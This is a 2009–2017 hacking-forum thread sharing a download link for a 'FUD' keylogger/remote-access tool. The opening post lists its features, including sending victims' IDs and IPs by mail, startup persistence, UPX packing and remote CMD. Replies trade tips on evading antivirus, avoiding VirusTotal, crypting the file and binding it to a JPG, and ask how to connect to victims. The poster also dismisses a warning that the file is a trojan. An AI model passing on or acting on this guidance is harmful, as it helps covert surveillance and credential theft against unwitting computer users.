Thread: [Silent Keylogger v1.6 Public version \[FUD!\]](#)

messhacker - January 27, 2009, 6:12 am

[img]http://www.[censored].net/uploads/56e8f4912e.jpg[/img]

Hey, i have just found a very nice keylogger. Its pretty easy to use aswel. Here is how to use it:

- Create a Server
- Get the IP Address and click connect
- Now have fun ?

Option's :

Send to your custom mail ETS / ID / Curent User / IP Address

Type Startup Value , File Name

Chose Server Path system dir / system32 dir / temp dir / windows dir

Server Extension : .exe / .bat / .com / .pif

Fake Message , Pack With UPX , Favorit Icon's

System Tools : Shutdown / Restart / LongOff

Yahoo Tools : Kill / Run , Disable / Enable Multi Messenger , Disable Save Password / Invizible

Login / Auto Login , Set Title , Get ETS / ID

Cookies Tools : Clear Mozilla Firefox / Opera / Internet Explorer Cookie's

Msg : Send / Test

Remote CMD

It's FUD!

Download Link:

<http://www.mediafire.com/?m5ml21mt22r>

Villyz - January 27, 2009, 6:21 am

Looks more like a RAT :D

But still nice if it's FUD :D

messhacker - January 27, 2009, 6:31 am

Thanks. =) Hope its useful to all of ya. =)

dam4g3 - January 27, 2009, 6:39 am

Thank you messhacker!

excellent work;D

haxx - January 27, 2009, 6:57 am

detectable

Hacker Noir - January 27, 2009, 7:16 am

Good keylogger but it's damage that it is detected by Avast.
Thanks messhacker ?

sQneK - January 27, 2009, 7:17 am

detected but only by avast sophos
thanks ;*

z3r0c00l - January 27, 2009, 7:23 am

yeah undetectable from NOD32

TZ- - January 27, 2009, 7:24 am

avast is stupid, detect even firefox. ?

and thanks for sending file to web based multi scanner, it's really great idea to fuck up someone's hard work.

mana5olia - January 27, 2009, 7:46 am

thx dude, will give a try here..

Nobies123 - January 27, 2009, 8:24 am

Thanks this is great

Darow - January 27, 2009, 8:37 am

Has no one else noticed "Binder Detector: File is possible binded with malware"?

Elite-Soft - January 27, 2009, 8:39 am

its really amzing one;)ty

TheBlackOUT - January 27, 2009, 8:44 am

boah thx for this great tool

Nobies123 - January 27, 2009, 8:57 am

it doesn't work...it says that there is a component missing

CrashPlague - January 27, 2009, 9:25 am

It seems like a good program, but I personally wouldn't use it since a lot of the options are locked (unless of course you pay for it, lol)

messhacker - January 27, 2009, 11:18 pm

Well, its detected because some idiots scanned it on Virustotal and other websites that send samples to AV companies!

PLEASE DO NOT SCAN IT ON VIRUSTOTAL.

XXX-XXX - January 27, 2009, 11:22 pm

gonna try it -:p))

BoOst - January 29, 2009, 4:54 pm

Thanks man, I luv it :D

Orthodoxy - January 29, 2009, 5:08 pm

(Jan 27, 2009 09:57 AM)Nobies123 Wrote: [\[CITE\]](#) it doesn't work...it says that there is a component missing

Put this in same dir as exe

http://www.ocxdump.com/download-ocx-files_new.php/ocxfiles/M/MSWINSCK.OCX/6.00.81694/download.html

Sora - January 29, 2009, 6:26 pm

Nobies123, once you download that .ocx and register it, if you're using Windows Vista you have to run Silent Keylogger as administrator.

Skittles- - January 29, 2009, 6:30 pm

messhacker you shouldn't publicly release this on here!! give it 3days and all them a/v's will find it!

messhacker - January 29, 2009, 9:44 pm

then where you think i should release it?

Dr.Dre - January 29, 2009, 10:01 pm

let only people with like 50 posts or so get it, some kids go on virustotal etc. and scan this.

messhacker - January 29, 2009, 10:19 pm

Thats a good idea, but i can't remove the link since it only allows before 1440 min. I can't edit now :\

port_scanner - January 30, 2009, 3:47 am

thankyou very much ?

messhacker - January 31, 2009, 8:03 am

No problem. :)

blade102030 - January 31, 2009, 11:48 am

thanx dude

messhacker - January 31, 2009, 4:32 pm

No problem. Please don't scan this on virustotal, if you do it be detected. :|

anubhavmax - January 31, 2009, 8:23 pm

jst a bit confused..wat r da av dat detects it..I want one dat shudn't b detected by norton

messhacker - January 31, 2009, 8:34 pm

Its is FUD, so it shouldn't be detected by Norton.

clement4702 - February 1, 2009, 6:41 am

hello

How to delete the keylogger on my computer?

just kill the process?

Kernel32 - February 1, 2009, 7:58 am

kill the process and delete it from your startup .

pilantras - February 1, 2009, 9:02 am

My kaspersky detected it..

LuxiliusExe - February 1, 2009, 9:02 am

hmmm,yea looks more like RAT then a keylogger...but tnx

clement4702 - February 1, 2009, 9:16 am

(Feb 1, 2009 08:58 AM)Kernel32® Wrote: [\[CITE\]](#) kill the process and delete it from your startup .

thanks ?

tens - February 1, 2009, 1:11 pm

hmm.....my firewall and AV are picking it up and are blocking the keylogger server....any fix for that?

also does anyone know of a really good binder that I could use to attach this to a jpg?

girtsz - February 1, 2009, 2:33 pm

my nod detected it :(sheet i need fud keylogger :@

Asselesion - February 1, 2009, 2:45 pm

- Get the IP Address and click connect

what IP address i need to get ?

milkshake - February 1, 2009, 3:03 pm

Hey as far as the server part goes, I need help.... I want to receive updates via email, can someone help me with the Server part I don't know what I need, I have a Spam account... idk if that matters.

tens - February 1, 2009, 7:59 pm

I got a quick question.....well first off...I got a crypter that works and I got it crypted and it's undetected.....now how do I get IPs? I'm an admin on a forum but I've tried to connect to it on my comp using my IP on the forum and it won't work....but my network IP does.....will I need the network IP for the other person to check the log for their comp?

Endeavour - February 1, 2009, 9:30 pm

This looks SICK, and especially since it's UD!

Do you and your victim have to be directly connected to the internet?

messhacker - February 2, 2009, 2:17 am

Shit. There's no point using it now. It's detected. I'm very angry with this. n00bs scanning this on virustotal. Damn assholes, I use this and now it's detected. <_<

Me whispers

I shouldn't have released this if I knew it'll get detected..

Asselesion - February 2, 2009, 3:44 am

It's Unable to connect all IPs that I set inside

Netstat - February 4, 2009, 5:24 am

Worked well, used twice and detected once. What else could I use to make the chances of it being detected smaller

z3r0c00l - February 4, 2009, 5:30 am

Do you need PORT to connect?

unable to connect to any IPs....

accezz - February 4, 2009, 6:07 am

Lol the tool isn't detected but the server you create is detectable.. I have AVG 2008 PRO

flamingdice - February 4, 2009, 6:26 am

Wow, you really are a pro browsing website - - thx anyway

messhacker - February 4, 2009, 6:38 am

Uhh, your welcome?

Soldier of Fortune - February 4, 2009, 7:02 am

That is not only a keylogger generator : It's a Trojan Gen as Avast! says. So, guys, it's dangerous to run it.

rdy2bet - February 4, 2009, 11:26 am

I am too late to use this keylogger? Now it's detected right ?

Soldier of Fortune - February 4, 2009, 11:39 am

Dude, I said it already, it's not only a keylogger, it's also a fucking Trojan!

messhacker - February 5, 2009, 1:21 am

Its not a trojan! That is is false positive. Trust me, this is COMPLETELY safe to use.!!

FireFLame - February 5, 2009, 1:33 am

(Feb 5, 2009 02:21 AM)messhacker Wrote: [\[CITE\]](#) Its not a trojan! That is is false positive. Trust me, this is COMPLETELY safe to use.!!

Its not detected by nod 32

accezz - February 5, 2009, 2:16 am

Hey guys .. This Keylogger/RAT TOOL is very usefull! yes its actually pretty FUD. Virustotal shows me 5.66 % only avast and another detected it. But i did binded it with Shocklab's tool. Just so you guys knows it.

messhacker - February 5, 2009, 2:25 am

FUCK YOU!!! WHY DID YOU POST IT ON VIRUSTOTAL!!!!!!!!!!

< _____ <

Netstat - February 5, 2009, 3:29 am

Got detected by Vista Windows Defender

messhacker - February 5, 2009, 3:54 am

(Feb 5, 2009 04:29 AM)Netstat Wrote: [\[CITE\]](#) Got detected by Vista Windows Defender ? Ok, i think this is already useless. n00bs scanned it on virustotal and now.. its detected.

Netstat - February 5, 2009, 4:35 am

argghhh damn u fools

messhacker - February 5, 2009, 4:48 am

Chill out dude. There's more on the net..

oraK - February 5, 2009, 5:06 am

Why do none of the IPs i enter connect?

Netstat - February 5, 2009, 5:14 am

you getting them sent to your email right?

and in reply to :

(Feb 5, 2009 05:48 AM)messhacker Wrote: [\[CITE\]](#) Chill out dude. There's more on the net.. Yeh i know, but it is a shame

pwnelite - February 5, 2009, 5:38 am

nice work,
unfortunatley detected by kapersky v 8.0 windows 7

messhacker - February 5, 2009, 6:10 am

I know i know.. n00bs scanned on virustotal..

CJD - February 5, 2009, 7:52 am

It looks good but what do you mean by "type your ip address"? You type your IP address?

tanimr2002 - February 5, 2009, 9:58 am

its not working for me atleast..because may b my port is not forwarded...

Inuyasha1TB - February 5, 2009, 10:59 am

It is detected by AVG as well... lol

GotHacked - April 4, 2009, 4:58 am

My AVG just found the Keylogger

Mr Beanz - April 4, 2009, 5:13 am

Are people this stupid to know a keylogger isn't going to stay FUD forever? The more it's scanned the MORE higher the chance of getting detected and sent in to AV's. So obviously this isn't going to be FUD anymore it was released in January. Do some research before you start posting.

roger.willx1x2 - March 6, 2017, 5:32 am

Is this keylogger still valid?

TroLLeX_ - March 7, 2017, 4:51 pm

(Mar 6, 2017 06:32 AM)roger.willx1x2 Wrote: [\[CITE\]](#) Is this keylogger still valid?

hey gravedigger,

Its super old so noo. if it was valid i thought it have to be crypted.

Gdoss - March 7, 2017, 6:32 pm

link broke homie.. just heads up.

wirls - March 10, 2017, 12:51 am

i dont think this works but i hope it does
